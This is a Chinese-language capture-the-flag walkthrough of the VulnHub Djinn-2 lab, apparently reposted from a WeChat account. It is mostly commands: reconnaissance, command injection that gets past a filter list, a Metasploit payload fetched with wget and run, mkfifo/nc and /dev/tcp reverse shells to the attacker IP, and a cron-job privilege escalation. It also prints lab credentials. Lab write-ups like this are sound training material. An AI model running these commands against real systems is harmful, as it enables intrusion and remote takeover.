下载地址:https://download.vulnhub.com/djinn/djinn-2.ova
攻击者IP:192.168.56.132 桥接(自动) vmare
受害者IP:192.168.56.135 仅主机 vxbox
主机发现
arp-scan -l
nmap -p- -sV 192.168.56.135
发现21ftp端口,尝试匿名登录
anyonmous/anonymous
查看ftp的文件
nitu:7846A$56
似乎是用户名和密码
ssh远程登录失败
目录扫描
dirsearch -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.56.135:7331
访问robots.txt,获得letshack
访问source获得游戏的源码
获得关键信息
URL = "http://{}:5000/?username={}&password={}"
访问wish获得被安全过滤的命令框框
结合5000端口不允许get,把get换成post
POST /?username=ls+-al&password
ls -al返回是空,所以加个+
可以达到一样的效果
curl -X POST http://192.168.56.135:5000/?username=id&password=
POST /?username=cat+app.py&password HTTP/1.1
过滤了一些东西
RCE = ["|", "*", "^", "$", ";", "nc", "bash", "bin", "eval", "python"]
绕过
使用msf反弹
msfconsoleuse exploit/multi/script/web_deliveryset target 7/set target Linux注意:target为linuxset payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.56.132 如果端口被占用就设置成set srvport 8081run
wget -qO tl1961j8 --no-check-certificate http://192.168.56.132:8081/5Pk1Zf3r9ce
chmod +x tl1961j8; ./tl1961j8& disown
复制出来之后需要注意三点:
(1)不能直接全部粘上去执行,因为前面是过滤分号的
(2)传参的地方不能直接使用空格,空格可以使用%20或者+代替
(3)下载之后需要指定路径为tmp,所以上面的命令需要修改一点点
wget+-qO+/tmp/tl1961j8+--no-check-certificate+http://192.168.56.132:8081/5Pk1Zf3r9ce
POST /?username=wget+-qO+/tmp/tl1961j8+--no-check-certificate+http://192.168.56.132:8081/5Pk1Zf3r9ce&password HTTP/1.1
下载成功
给权限
运行
msf上向城管,msf反弹shell到kali
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.132 1111 >/tmp/f
/var/backups发现nitu.kdbx
文件传输
密码就是creds.txt里面的7846A$56
&HtMGd$LJB
ssh连接
nitish/&HtMGd$LJB
发现2843端口
nc 127.0.0.1 2843
6,查看notes会cat一下
5nmae设置为/etc/passwd发现可以读取到内容
使用|拼接命令
/etc/passwd/ | id
mkfifo /tmp/f2;cat /tmp/f2|/bin/sh -i 2>&1|nc 192.168.56.132 9999 >/tmp/f2
嘿0xmzfr,我已经安装了你让我在我的主目录中的文件夹,因为我会离开一两天,你可以只留下clean.sh在该目录和cronjob将处理其余的。
echo "bash -i >& /dev/tcp/192.168.56.132/6666 0>&1" >clean.sh
由于是自动执行,所以得等一会
原文始发于微信公众号(王之暴龙战神):Djinn-2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论